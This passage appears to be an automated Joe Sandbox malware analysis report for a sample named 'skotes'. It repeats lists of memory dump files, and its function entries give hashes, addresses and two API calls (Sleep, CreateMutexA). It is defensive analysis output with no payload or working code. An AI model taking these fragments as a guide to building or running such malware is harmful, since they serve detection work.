Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 917e802244d604ef6aff4b32c2beb86bd8195d7ae63cc88b72068d7036739509
Instruction ID: a8e56fe3f4326943aecd781d9805a590138e1752cf1f89622560bde50a6c76ee
Opcode Fuzzy Hash: 917e802244d604ef6aff4b32c2beb86bd8195d7ae63cc88b72068d7036739509
Instruction Fuzzy Hash: 5E3128717002008BEF089B6CED99BADBBA2EF92310F60421CE0199B2D5C7759985C752

Function 00199F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 014e4e850a210f24018f4b5dc44400adbbcfc1dd7d64f0e5526e4a0952e4b68e
Instruction ID: b195d769cb1a6c5eb2a20a3f9eb7e1509ef89415bed7dadb7606b5d04ea273ee
Opcode Fuzzy Hash: 014e4e850a210f24018f4b5dc44400adbbcfc1dd7d64f0e5526e4a0952e4b68e
Instruction Fuzzy Hash: 413146317002048BEF089B7CDC9CBADBBA2EF96310F64461CE419EB2D1C7369984C792

Function 0019A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ec73990c8515b164b7d4fcece22e390b5403f68402da17fb4515e3b05ce83f64
Instruction ID: 0fa42580c272c6ce619701f2db615b67b64682a441b293e9a686cfeb02464df7
Opcode Fuzzy Hash: ec73990c8515b164b7d4fcece22e390b5403f68402da17fb4515e3b05ce83f64
Instruction Fuzzy Hash: 97314831B002409BEF089B78DD99BADBB72EF92314F644618E0189B7D1C7369988C792

Function 0019A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3080c6ead85ec93aca013376e8c6fb094689b1b5a0f880397cd422864f6732ce
Instruction ID: 1fe0178151ad3887a7a4f4443a40610f88ac3739dca43a0f8708df205342edf8
Opcode Fuzzy Hash: 3080c6ead85ec93aca013376e8c6fb094689b1b5a0f880397cd422864f6732ce
Instruction Fuzzy Hash: E5312831B002409BEF089BB8DD9DBADBB72EFD6310F644618E0149B2D1D7769988C792

Function 0019A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
